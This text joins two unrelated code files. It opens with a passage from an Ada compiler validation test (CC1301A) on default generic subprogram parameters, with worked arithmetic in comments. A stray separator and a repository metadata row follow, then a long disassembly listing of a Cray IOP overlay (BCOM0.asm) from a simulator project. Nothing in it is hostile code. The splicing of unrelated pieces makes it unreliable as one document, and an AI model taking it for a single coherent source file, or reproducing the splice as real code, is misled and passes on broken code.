FUNCTION "-" (R, S : INTEGER) RETURN INTEGER IS
BEGIN
RETURN - R + S;
-- (-R + S - 10)
END "-";
FUNCTION NEXT (X : INTEGER) RETURN INTEGER IS
BEGIN
RETURN X + 1;
-- (X + 1 - 10)
-- (X - 9)
END NEXT;
PROCEDURE BUMP (X : IN OUT INTEGER) IS
BEGIN
X := NEXT (X);
-- (X := X - 9)
END BUMP;
PACKAGE BODY PKG IS
W : INTEGER;
WI : INT;
BEGIN
W := NEXT (INTEGER'(3) * 4 - 2);
-- (W := (4 ** 3 - 2) - 1)
-- (W := 61)
BUMP (W);
-- (W := 61 + 7)
-- (W := 68)
WI := NEXT (INT'(3) * 4 - 2 + NEXTO (0));
-- (3 * 4) => (3 - 4) => (-3 + 4 - 10) = -9
-- ((-9) - 2) => (2 + 2 - (-9) - 20) = -7
-- (-7 + (-9)) => -16
-- (WI := 7 - (-16)) => (WI := 23)
BUMPO (WI);
-- (WI := 23 - 9) (= 14)
BUMP (WI);
-- (WI := 14 - 9) (= 5)
DIFF := STANDARD."-" (INT(W), WI);
-- (DIFF := 68 - 5) (= 63)
END PKG;
FUNCTION "*" (Y, X : NEWINT) RETURN NEWINT IS
BEGIN
RETURN X ** INTEGER(Y);
-- (X,Y) (Y ** X)
END "*";
FUNCTION NEXT (Z : NEWINT) RETURN NEWINT IS
BEGIN
RETURN Z - 1;
-- (Z - 1)
END NEXT;
PROCEDURE BUMP (ZZ : IN OUT NEWINT) IS
BEGIN
FAILED ("WRONG PROCEDURE CALLED");
END BUMP;
BEGIN
TEST ("CC1301A", "DEFAULT GENERIC SUBPROGRAM PARAMETERS");
DECLARE
PROCEDURE BUMP (QQQ : IN OUT NEWINT) IS
BEGIN
QQQ := QQQ + 7;
-- (QQQ + 7)
END BUMP;
FUNCTION NEXT (Q7 : INTEGER) RETURN INTEGER IS
BEGIN
RETURN Q7 - 17;
-- (-Q7 + 17 - 10)
-- (7 - Q7)
END NEXT;
FUNCTION "-" (Q3, Q4 : INTEGER) RETURN INTEGER IS
BEGIN
RETURN -Q3 + Q4 + Q4;
-- (-Q3 + Q4 - 10 + Q4 - 10) = (Q4 + Q4 - Q3 - 20)
END "-";
PACKAGE P1 IS NEW PKG (INTEGER => NEWINT);
BEGIN
IF P1.DIFF /= 63 THEN
FAILED ("WRONG DEFAULT SUBPROGRAM PARAMETERS");
END IF;
END;
RESULT;
END CC1301A;
|
target/cos_117/disasm/iop_overlay1/BCOM0.asm | jrrk2/cray-sim | 49 | 83976 | 0x0000 (0x000000) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0001 (0x000002) 0x2918- f:00024 d: 280 | OR[280] = A
0x0002 (0x000004) 0x0400- f:00002 d: 0 | I = 0
0x0003 (0x000006) 0x0000- f:00000 d: 0 | PASS
0x0004 (0x000008) 0x2118- f:00020 d: 280 | A = OR[280]
0x0005 (0x00000A) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008)
0x0006 (0x00000C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0008), A = 0
0x0007 (0x00000E) 0x7008- f:00070 d: 8 | P = P + 8 (0x000F)
0x0008 (0x000010) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0009 (0x000012) 0x2918- f:00024 d: 280 | OR[280] = A
0x000A (0x000014) 0x1800-0x0003 f:00014 d: 0 | A = 3 (0x0003)
0x000C (0x000018) 0x7E00-0x1997 f:00077 d: 0 | R = OR[0]+6551 (0x1997)
0x000E (0x00001C) 0x720C- f:00071 d: 12 | P = P - 12 (0x0002)
0x000F (0x00001E) 0x1800-0x0D83 f:00014 d: 0 | A = 3459 (0x0D83)
0x0011 (0x000022) 0x2908- f:00024 d: 264 | OR[264] = A
0x0012 (0x000024) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0013 (0x000026) 0x2919- f:00024 d: 281 | OR[281] = A
0x0014 (0x000028) 0x2119- f:00020 d: 281 | A = OR[281]
0x0015 (0x00002A) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x0016 (0x00002C) 0x2908- f:00024 d: 264 | OR[264] = A
0x0017 (0x00002E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0018 (0x000030) 0x8602- f:00103 d: 2 | P = P + 2 (0x001A), A # 0
0x0019 (0x000032) 0x7032- f:00070 d: 50 | P = P + 50 (0x004B)
0x001A (0x000034) 0x7E00-0x1FFA f:00077 d: 0 | R = OR[0]+8186 (0x1FFA)
0x001C (0x000038) 0x209C- f:00020 d: 156 | A = OR[156]
0x001D (0x00003A) 0x291A- f:00024 d: 282 | OR[282] = A
0x001E (0x00003C) 0x8402- f:00102 d: 2 | P = P + 2 (0x0020), A = 0
0x001F (0x00003E) 0x700C- f:00070 d: 12 | P = P + 12 (0x002B)
0x0020 (0x000040) 0x1007- f:00010 d: 7 | A = 7 (0x0007)
0x0021 (0x000042) 0x292B- f:00024 d: 299 | OR[299] = A
0x0022 (0x000044) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x0023 (0x000046) 0x292C- f:00024 d: 300 | OR[300] = A
0x0024 (0x000048) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x0025 (0x00004A) 0x5800- f:00054 d: 0 | B = A
0x0026 (0x00004C) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0027 (0x00004E) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0028 (0x000050) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0029 (0x000052) 0x2918- f:00024 d: 280 | OR[280] = A
0x002A (0x000054) 0x7228- f:00071 d: 40 | P = P - 40 (0x0002)
0x002B (0x000056) 0x2119- f:00020 d: 281 | A = OR[281]
0x002C (0x000058) 0x2819- f:00024 d: 25 | OR[25] = A
0x002D (0x00005A) 0x7E00-0x1DC0 f:00077 d: 0 | R = OR[0]+7616 (0x1DC0)
0x002F (0x00005E) 0x201D- f:00020 d: 29 | A = OR[29]
0x0030 (0x000060) 0x291B- f:00024 d: 283 | OR[283] = A
0x0031 (0x000062) 0x2119- f:00020 d: 281 | A = OR[281]
0x0032 (0x000064) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0033 (0x000066) 0x2908- f:00024 d: 264 | OR[264] = A
0x0034 (0x000068) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0035 (0x00006A) 0x281D- f:00024 d: 29 | OR[29] = A
0x0036 (0x00006C) 0x8602- f:00103 d: 2 | P = P + 2 (0x0038), A # 0
0x0037 (0x00006E) 0x7013- f:00070 d: 19 | P = P + 19 (0x004A)
0x0038 (0x000070) 0x2119- f:00020 d: 281 | A = OR[281]
0x0039 (0x000072) 0x2819- f:00024 d: 25 | OR[25] = A
0x003A (0x000074) 0x7E00-0x1DDF f:00077 d: 0 | R = OR[0]+7647 (0x1DDF)
0x003C (0x000078) 0x1800-0x0D83 f:00014 d: 0 | A = 3459 (0x0D83)
0x003E (0x00007C) 0x2927- f:00024 d: 295 | OR[295] = A
0x003F (0x00007E) 0x2127- f:00020 d: 295 | A = OR[295]
0x0040 (0x000080) 0x1403- f:00012 d: 3 | A = A + 3 (0x0003)
0x0041 (0x000082) 0x2908- f:00024 d: 264 | OR[264] = A
0x0042 (0x000084) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0043 (0x000086) 0x5800- f:00054 d: 0 | B = A
0x0044 (0x000088) 0xEE00- f:00167 d: 0 | IOB , fn007
0x0045 (0x00008A) 0x2119- f:00020 d: 281 | A = OR[281]
0x0046 (0x00008C) 0x1406- f:00012 d: 6 | A = A + 6 (0x0006)
0x0047 (0x00008E) 0x2908- f:00024 d: 264 | OR[264] = A
0x0048 (0x000090) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0049 (0x000092) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x004A (0x000094) 0x7003- f:00070 d: 3 | P = P + 3 (0x004D)
0x004B (0x000096) 0x7A00-0x1A40 f:00075 d: 0 | P = OR[0]+6720 (0x1A40)
0x004D (0x00009A) 0x2D18- f:00026 d: 280 | OR[280] = OR[280] + 1
0x004E (0x00009C) 0x0600- f:00003 d: 0 | I = 1
0x004F (0x00009E) 0x211B- f:00020 d: 283 | A = OR[283]
0x0050 (0x0000A0) 0x080C- f:00004 d: 12 | A = A > 12 (0x000C)
0x0051 (0x0000A2) 0x1604- f:00013 d: 4 | A = A - 4 (0x0004)
0x0052 (0x0000A4) 0x120F- f:00011 d: 15 | A = A & 15 (0x000F)
0x0053 (0x0000A6) 0x2927- f:00024 d: 295 | OR[295] = A
0x0054 (0x0000A8) 0x2127- f:00020 d: 295 | A = OR[295]
0x0055 (0x0000AA) 0x0A02- f:00005 d: 2 | A = A < 2 (0x0002)
0x0056 (0x0000AC) 0x1C00-0x0D77 f:00016 d: 0 | A = A + 3447 (0x0D77)
0x0058 (0x0000B0) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0059 (0x0000B2) 0x2927- f:00024 d: 295 | OR[295] = A
0x005A (0x0000B4) 0x211B- f:00020 d: 283 | A = OR[283]
0x005B (0x0000B6) 0x1A00-0x0FFF f:00015 d: 0 | A = A & 4095 (0x0FFF)
0x005D (0x0000BA) 0x0A03- f:00005 d: 3 | A = A < 3 (0x0003)
0x005E (0x0000BC) 0x2928- f:00024 d: 296 | OR[296] = A
0x005F (0x0000BE) 0x3127- f:00030 d: 295 | A = (OR[295])
0x0060 (0x0000C0) 0x2929- f:00024 d: 297 | OR[297] = A
0x0061 (0x0000C2) 0x2127- f:00020 d: 295 | A = OR[295]
0x0062 (0x0000C4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x0063 (0x0000C6) 0x2908- f:00024 d: 264 | OR[264] = A
0x0064 (0x0000C8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0065 (0x0000CA) 0x292A- f:00024 d: 298 | OR[298] = A
0x0066 (0x0000CC) 0x212A- f:00020 d: 298 | A = OR[298]
0x0067 (0x0000CE) 0x2528- f:00022 d: 296 | A = A + OR[296]
0x0068 (0x0000D0) 0x292A- f:00024 d: 298 | OR[298] = A
0x0069 (0x0000D2) 0x8002- f:00100 d: 2 | P = P + 2 (0x006B), C = 0
0x006A (0x0000D4) 0x2D29- f:00026 d: 297 | OR[297] = OR[297] + 1
0x006B (0x0000D6) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x006C (0x0000D8) 0x292B- f:00024 d: 299 | OR[299] = A
0x006D (0x0000DA) 0x2129- f:00020 d: 297 | A = OR[297]
0x006E (0x0000DC) 0x292C- f:00024 d: 300 | OR[300] = A
0x006F (0x0000DE) 0x212A- f:00020 d: 298 | A = OR[298]
0x0070 (0x0000E0) 0x292D- f:00024 d: 301 | OR[301] = A
0x0071 (0x0000E2) 0x211A- f:00020 d: 282 | A = OR[282]
0x0072 (0x0000E4) 0x292E- f:00024 d: 302 | OR[302] = A
0x0073 (0x0000E6) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x0074 (0x0000E8) 0x292F- f:00024 d: 303 | OR[303] = A
0x0075 (0x0000EA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0076 (0x0000EC) 0x2930- f:00024 d: 304 | OR[304] = A
0x0077 (0x0000EE) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x0078 (0x0000F0) 0x5800- f:00054 d: 0 | B = A
0x0079 (0x0000F2) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x007A (0x0000F4) 0x7C09- f:00076 d: 9 | R = OR[9]
0x007B (0x0000F6) 0x211A- f:00020 d: 282 | A = OR[282]
0x007C (0x0000F8) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x007D (0x0000FA) 0x2908- f:00024 d: 264 | OR[264] = A
0x007E (0x0000FC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x007F (0x0000FE) 0x291C- f:00024 d: 284 | OR[284] = A
0x0080 (0x000100) 0x211C- f:00020 d: 284 | A = OR[284]
0x0081 (0x000102) 0x1605- f:00013 d: 5 | A = A - 5 (0x0005)
0x0082 (0x000104) 0x8405- f:00102 d: 5 | P = P + 5 (0x0087), A = 0
0x0083 (0x000106) 0x211C- f:00020 d: 284 | A = OR[284]
0x0084 (0x000108) 0x1608- f:00013 d: 8 | A = A - 8 (0x0008)
0x0085 (0x00010A) 0x8402- f:00102 d: 2 | P = P + 2 (0x0087), A = 0
0x0086 (0x00010C) 0x7032- f:00070 d: 50 | P = P + 50 (0x00B8)
0x0087 (0x00010E) 0x7550- f:00072 d: 336 | R = P + 336 (0x01D7)
0x0088 (0x000110) 0x211C- f:00020 d: 284 | A = OR[284]
0x0089 (0x000112) 0x1605- f:00013 d: 5 | A = A - 5 (0x0005)
0x008A (0x000114) 0x8402- f:00102 d: 2 | P = P + 2 (0x008C), A = 0
0x008B (0x000116) 0x7004- f:00070 d: 4 | P = P + 4 (0x008F)
0x008C (0x000118) 0x1044- f:00010 d: 68 | A = 68 (0x0044)
0x008D (0x00011A) 0x2927- f:00024 d: 295 | OR[295] = A
0x008E (0x00011C) 0x7003- f:00070 d: 3 | P = P + 3 (0x0091)
0x008F (0x00011E) 0x1043- f:00010 d: 67 | A = 67 (0x0043)
0x0090 (0x000120) 0x2927- f:00024 d: 295 | OR[295] = A
0x0091 (0x000122) 0x211A- f:00020 d: 282 | A = OR[282]
0x0092 (0x000124) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x0093 (0x000126) 0x2908- f:00024 d: 264 | OR[264] = A
0x0094 (0x000128) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0095 (0x00012A) 0x2928- f:00024 d: 296 | OR[296] = A
0x0096 (0x00012C) 0x211A- f:00020 d: 282 | A = OR[282]
0x0097 (0x00012E) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0098 (0x000130) 0x2908- f:00024 d: 264 | OR[264] = A
0x0099 (0x000132) 0x3108- f:00030 d: 264 | A = (OR[264])
0x009A (0x000134) 0x2929- f:00024 d: 297 | OR[297] = A
0x009B (0x000136) 0x211A- f:00020 d: 282 | A = OR[282]
0x009C (0x000138) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x009D (0x00013A) 0x2908- f:00024 d: 264 | OR[264] = A
0x009E (0x00013C) 0x2128- f:00020 d: 296 | A = OR[296]
0x009F (0x00013E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00A0 (0x000140) 0x211A- f:00020 d: 282 | A = OR[282]
0x00A1 (0x000142) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x00A2 (0x000144) 0x2908- f:00024 d: 264 | OR[264] = A
0x00A3 (0x000146) 0x2129- f:00020 d: 297 | A = OR[297]
0x00A4 (0x000148) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00A5 (0x00014A) 0x2127- f:00020 d: 295 | A = OR[295]
0x00A6 (0x00014C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x00A7 (0x00014E) 0x2927- f:00024 d: 295 | OR[295] = A
0x00A8 (0x000150) 0x211A- f:00020 d: 282 | A = OR[282]
0x00A9 (0x000152) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x00AA (0x000154) 0x2908- f:00024 d: 264 | OR[264] = A
0x00AB (0x000156) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00AC (0x000158) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x00AE (0x00015C) 0x2527- f:00022 d: 295 | A = A + OR[295]
0x00AF (0x00015E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x00B0 (0x000160) 0x0400- f:00002 d: 0 | I = 0
0x00B1 (0x000162) 0x0000- f:00000 d: 0 | PASS
0x00B2 (0x000164) 0x211A- f:00020 d: 282 | A = OR[282]
0x00B3 (0x000166) 0x289C- f:00024 d: 156 | OR[156] = A
0x00B4 (0x000168) 0x7E00-0x30D7 f:00077 d: 0 | R = OR[0]+12503 (0x30D7)
0x00B6 (0x00016C) 0x72B4- f:00071 d: 180 | P = P - 180 (0x0002)
0x00B7 (0x00016E) 0x7120- f:00070 d: 288 | P = P + 288 (0x01D7)
0x00B8 (0x000170) 0x211C- f:00020 d: 284 | A = OR[284]
0x00B9 (0x000172) 0x160B- f:00013 d: 11 | A = A - 11 (0x000B)
0x00BA (0x000174) 0x8402- f:00102 d: 2 | P = P + 2 (0x00BC), A = 0
0x00BB (0x000176) 0x7106- f:00070 d: 262 | P = P + 262 (0x01C1)
0x00BC (0x000178) 0x211A- f:00020 d: 282 | A = OR[282]
0x00BD (0x00017A) 0x1414- f:00012 d: 20 | A = A + 20 (0x0014)
0x00BE (0x00017C) 0x2908- f:00024 d: 264 | OR[264] = A
0x00BF (0x00017E) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C0 (0x000180) 0x291D- f:00024 d: 285 | OR[285] = A
0x00C1 (0x000182) 0x211A- f:00020 d: 282 | A = OR[282]
0x00C2 (0x000184) 0x1415- f:00012 d: 21 | A = A + 21 (0x0015)
0x00C3 (0x000186) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C4 (0x000188) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00C5 (0x00018A) 0x291E- f:00024 d: 286 | OR[286] = A
0x00C6 (0x00018C) 0x211A- f:00020 d: 282 | A = OR[282]
0x00C7 (0x00018E) 0x1416- f:00012 d: 22 | A = A + 22 (0x0016)
0x00C8 (0x000190) 0x2908- f:00024 d: 264 | OR[264] = A
0x00C9 (0x000192) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00CA (0x000194) 0x291F- f:00024 d: 287 | OR[287] = A
0x00CB (0x000196) 0x211A- f:00020 d: 282 | A = OR[282]
0x00CC (0x000198) 0x140E- f:00012 d: 14 | A = A + 14 (0x000E)
0x00CD (0x00019A) 0x2908- f:00024 d: 264 | OR[264] = A
0x00CE (0x00019C) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00CF (0x00019E) 0x080F- f:00004 d: 15 | A = A > 15 (0x000F)
0x00D0 (0x0001A0) 0x2920- f:00024 d: 288 | OR[288] = A
0x00D1 (0x0001A2) 0x211A- f:00020 d: 282 | A = OR[282]
0x00D2 (0x0001A4) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x00D3 (0x0001A6) 0x2908- f:00024 d: 264 | OR[264] = A
0x00D4 (0x0001A8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00D5 (0x0001AA) 0x0808- f:00004 d: 8 | A = A > 8 (0x0008)
0x00D6 (0x0001AC) 0x2921- f:00024 d: 289 | OR[289] = A
0x00D7 (0x0001AE) 0x211A- f:00020 d: 282 | A = OR[282]
0x00D8 (0x0001B0) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x00D9 (0x0001B2) 0x2908- f:00024 d: 264 | OR[264] = A
0x00DA (0x0001B4) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00DB (0x0001B6) 0x1201- f:00011 d: 1 | A = A & 1 (0x0001)
0x00DC (0x0001B8) 0x2922- f:00024 d: 290 | OR[290] = A
0x00DD (0x0001BA) 0x211A- f:00020 d: 282 | A = OR[282]
0x00DE (0x0001BC) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x00DF (0x0001BE) 0x2908- f:00024 d: 264 | OR[264] = A
0x00E0 (0x0001C0) 0x3108- f:00030 d: 264 | A = (OR[264])
0x00E1 (0x0001C2) 0x2923- f:00024 d: 291 | OR[291] = A
0x00E2 (0x0001C4) 0x1018- f:00010 d: 24 | A = 24 (0x0018)
0x00E3 (0x0001C6) 0x0802- f:00004 d: 2 | A = A > 2 (0x0002)
0x00E4 (0x0001C8) 0x1601- f:00013 d: 1 | A = A - 1 (0x0001)
0x00E5 (0x0001CA) 0x2924- f:00024 d: 292 | OR[292] = A
0x00E6 (0x0001CC) 0x1008- f:00010 d: 8 | A = 8 (0x0008)
0x00E7 (0x0001CE) 0x1404- f:00012 d: 4 | A = A + 4 (0x0004)
0x00E8 (0x0001D0) 0x2925- f:00024 d: 293 | OR[293] = A
0x00E9 (0x0001D2) 0x211D- f:00020 d: 285 | A = OR[285]
0x00EA (0x0001D4) 0x2916- f:00024 d: 278 | OR[278] = A
0x00EB (0x0001D6) 0x211E- f:00020 d: 286 | A = OR[286]
0x00EC (0x0001D8) 0x2917- f:00024 d: 279 | OR[279] = A
0x00ED (0x0001DA) 0x1001- f:00010 d: 1 | A = 1 (0x0001)
0x00EE (0x0001DC) 0x2915- f:00024 d: 277 | OR[277] = A
0x00EF (0x0001DE) 0x211A- f:00020 d: 282 | A = OR[282]
0x00F0 (0x0001E0) 0x2914- f:00024 d: 276 | OR[276] = A
0x00F1 (0x0001E2) 0x211F- f:00020 d: 287 | A = OR[287]
0x00F2 (0x0001E4) 0x1401- f:00012 d: 1 | A = A + 1 (0x0001)
0x00F3 (0x0001E6) 0x2908- f:00024 d: 264 | OR[264] = A
0x00F4 (0x0001E8) 0x2115- f:00020 d: 277 | A = OR[277]
0x00F5 (0x0001EA) 0x2708- f:00023 d: 264 | A = A - OR[264]
0x00F6 (0x0001EC) 0x84AC- f:00102 d: 172 | P = P + 172 (0x01A2), A = 0
0x00F7 (0x0001EE) 0x1016- f:00010 d: 22 | A = 22 (0x0016)
0x00F8 (0x0001F0) 0x292B- f:00024 d: 299 | OR[299] = A
0x00F9 (0x0001F2) 0x1126- f:00010 d: 294 | A = 294 (0x0126)
0x00FA (0x0001F4) 0x292C- f:00024 d: 300 | OR[300] = A
0x00FB (0x0001F6) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x00FC (0x0001F8) 0x5800- f:00054 d: 0 | B = A
0x00FD (0x0001FA) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x00FE (0x0001FC) 0x7C09- f:00076 d: 9 | R = OR[9]
0x00FF (0x0001FE) 0x8602- f:00103 d: 2 | P = P + 2 (0x0101), A # 0
0x0100 (0x000200) 0x701B- f:00070 d: 27 | P = P + 27 (0x011B)
0x0101 (0x000202) 0x311A- f:00030 d: 282 | A = (OR[282])
0x0102 (0x000204) 0x2913- f:00024 d: 275 | OR[275] = A
0x0103 (0x000206) 0x2113- f:00020 d: 275 | A = OR[275]
0x0104 (0x000208) 0x840E- f:00102 d: 14 | P = P + 14 (0x0112), A = 0
0x0105 (0x00020A) 0x2113- f:00020 d: 275 | A = OR[275]
0x0106 (0x00020C) 0x2926- f:00024 d: 294 | OR[294] = A
0x0107 (0x00020E) 0x3113- f:00030 d: 275 | A = (OR[275])
0x0108 (0x000210) 0x2913- f:00024 d: 275 | OR[275] = A
0x0109 (0x000212) 0x1017- f:00010 d: 23 | A = 23 (0x0017)
0x010A (0x000214) 0x292B- f:00024 d: 299 | OR[299] = A
0x010B (0x000216) 0x2126- f:00020 d: 294 | A = OR[294]
0x010C (0x000218) 0x292C- f:00024 d: 300 | OR[300] = A
0x010D (0x00021A) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x010E (0x00021C) 0x5800- f:00054 d: 0 | B = A
0x010F (0x00021E) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0110 (0x000220) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0111 (0x000222) 0x720E- f:00071 d: 14 | P = P - 14 (0x0103)
0x0112 (0x000224) 0x0400- f:00002 d: 0 | I = 0
0x0113 (0x000226) 0x0000- f:00000 d: 0 | PASS
0x0114 (0x000228) 0x2119- f:00020 d: 281 | A = OR[281]
0x0115 (0x00022A) 0x2819- f:00024 d: 25 | OR[25] = A
0x0116 (0x00022C) 0x211B- f:00020 d: 283 | A = OR[283]
0x0117 (0x00022E) 0x281D- f:00024 d: 29 | OR[29] = A
0x0118 (0x000230) 0x7E00-0x1DDF f:00077 d: 0 | R = OR[0]+7647 (0x1DDF)
0x011A (0x000234) 0x7318- f:00071 d: 280 | P = P - 280 (0x0002)
0x011B (0x000236) 0x2126- f:00020 d: 294 | A = OR[294]
0x011C (0x000238) 0x290E- f:00024 d: 270 | OR[270] = A
0x011D (0x00023A) 0x2125- f:00020 d: 293 | A = OR[293]
0x011E (0x00023C) 0x290D- f:00024 d: 269 | OR[269] = A
0x011F (0x00023E) 0x210D- f:00020 d: 269 | A = OR[269]
0x0120 (0x000240) 0x8406- f:00102 d: 6 | P = P + 6 (0x0126), A = 0
0x0121 (0x000242) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0122 (0x000244) 0x390E- f:00034 d: 270 | (OR[270]) = A
0x0123 (0x000246) 0x2F0D- f:00027 d: 269 | OR[269] = OR[269] - 1
0x0124 (0x000248) 0x2D0E- f:00026 d: 270 | OR[270] = OR[270] + 1
0x0125 (0x00024A) 0x7206- f:00071 d: 6 | P = P - 6 (0x011F)
0x0126 (0x00024C) 0x1026- f:00010 d: 38 | A = 38 (0x0026)
0x0127 (0x00024E) 0x292B- f:00024 d: 299 | OR[299] = A
0x0128 (0x000250) 0x2116- f:00020 d: 278 | A = OR[278]
0x0129 (0x000252) 0x292C- f:00024 d: 300 | OR[300] = A
0x012A (0x000254) 0x2117- f:00020 d: 279 | A = OR[279]
0x012B (0x000256) 0x292D- f:00024 d: 301 | OR[301] = A
0x012C (0x000258) 0x2126- f:00020 d: 294 | A = OR[294]
0x012D (0x00025A) 0x2525- f:00022 d: 293 | A = A + OR[293]
0x012E (0x00025C) 0x292E- f:00024 d: 302 | OR[302] = A
0x012F (0x00025E) 0x2124- f:00020 d: 292 | A = OR[292]
0x0130 (0x000260) 0x292F- f:00024 d: 303 | OR[303] = A
0x0131 (0x000262) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0132 (0x000264) 0x2930- f:00024 d: 304 | OR[304] = A
0x0133 (0x000266) 0x112B- f:00010 d: 299 | A = 299 (0x012B)
0x0134 (0x000268) 0x5800- f:00054 d: 0 | B = A
0x0135 (0x00026A) 0x1000- f:00010 d: 0 | A = 0 (0x0000)
0x0136 (0x00026C) 0x7C09- f:00076 d: 9 | R = OR[9]
0x0137 (0x00026E) 0x2126- f:00020 d: 294 | A = OR[294]
0x0138 (0x000270) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x0139 (0x000272) 0x2908- f:00024 d: 264 | OR[264] = A
0x013A (0x000274) 0x3108- f:00030 d: 264 | A = (OR[264])
0x013B (0x000276) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x013D (0x00027A) 0x1443- f:00012 d: 67 | A = A + 67 (0x0043)
0x013E (0x00027C) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x013F (0x00027E) 0x2126- f:00020 d: 294 | A = OR[294]
0x0140 (0x000280) 0x1408- f:00012 d: 8 | A = A + 8 (0x0008)
0x0141 (0x000282) 0x2908- f:00024 d: 264 | OR[264] = A
0x0142 (0x000284) 0x1800-0x4331 f:00014 d: 0 | A = 17201 (0x4331)
0x0144 (0x000288) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0145 (0x00028A) 0x2115- f:00020 d: 277 | A = OR[277]
0x0146 (0x00028C) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0147 (0x00028E) 0x2915- f:00024 d: 277 | OR[277] = A
0x0148 (0x000290) 0x2126- f:00020 d: 294 | A = OR[294]
0x0149 (0x000292) 0x140A- f:00012 d: 10 | A = A + 10 (0x000A)
0x014A (0x000294) 0x2908- f:00024 d: 264 | OR[264] = A
0x014B (0x000296) 0x3108- f:00030 d: 264 | A = (OR[264])
0x014C (0x000298) 0x1A00-0xFF00 f:00015 d: 0 | A = A & 65280 (0xFF00)
0x014E (0x00029C) 0x2515- f:00022 d: 277 | A = A + OR[277]
0x014F (0x00029E) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x0150 (0x0002A0) 0x211F- f:00020 d: 287 | A = OR[287]
0x0151 (0x0002A2) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0152 (0x0002A4) 0x291F- f:00024 d: 287 | OR[287] = A
0x0153 (0x0002A6) 0x2126- f:00020 d: 294 | A = OR[294]
0x0154 (0x0002A8) 0x140B- f:00012 d: 11 | A = A + 11 (0x000B)
0x0155 (0x0002AA) 0x2908- f:00024 d: 264 | OR[264] = A
0x0156 (0x0002AC) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0157 (0x0002AE) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0158 (0x0002B0) 0x251F- f:00022 d: 287 | A = A + OR[287]
0x0159 (0x0002B2) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x015A (0x0002B4) 0x3908- f:00034 d: 264 | (OR[264]) = A
0x015B (0x0002B6) 0x2120- f:00020 d: 288 | A = OR[288]
0x015C (0x0002B8) 0x8602- f:00103 d: 2 | P = P + 2 (0x015E), A # 0
0x015D (0x0002BA) 0x7029- f:00070 d: 41 | P = P + 41 (0x0186)
0x015E (0x0002BC) 0x2121- f:00020 d: 289 | A = OR[289]
0x015F (0x0002BE) 0x12FF- f:00011 d: 255 | A = A & 255 (0x00FF)
0x0160 (0x0002C0) 0x2921- f:00024 d: 289 | OR[289] = A
0x0161 (0x0002C2) 0x2126- f:00020 d: 294 | A = OR[294]
0x0162 (0x0002C4) 0x1409- f:00012 d: 9 | A = A + 9 (0x0009)
0x0163 (0x0002C6) 0x2908- f:00024 d: 264 | OR[264] = A
0x0164 (0x0002C8) 0x3108- f:00030 d: 264 | A = (OR[264])
0x0165 (0x0002CA) 0x0A09- f:00005 d: 9 | A = A < 9 (0x0009)
0x0166 (0x0002CC) 0x2521- f:00022 d: 289 | A = A + OR[289]
0x0167 (0x0002CE) 0x0C09- f:00006 d: 9 | A = A >> 9 (0x0009)
0x0168 (0x0002D0) 0x3908- f:00034 d: 264 | (OR[264]) = A
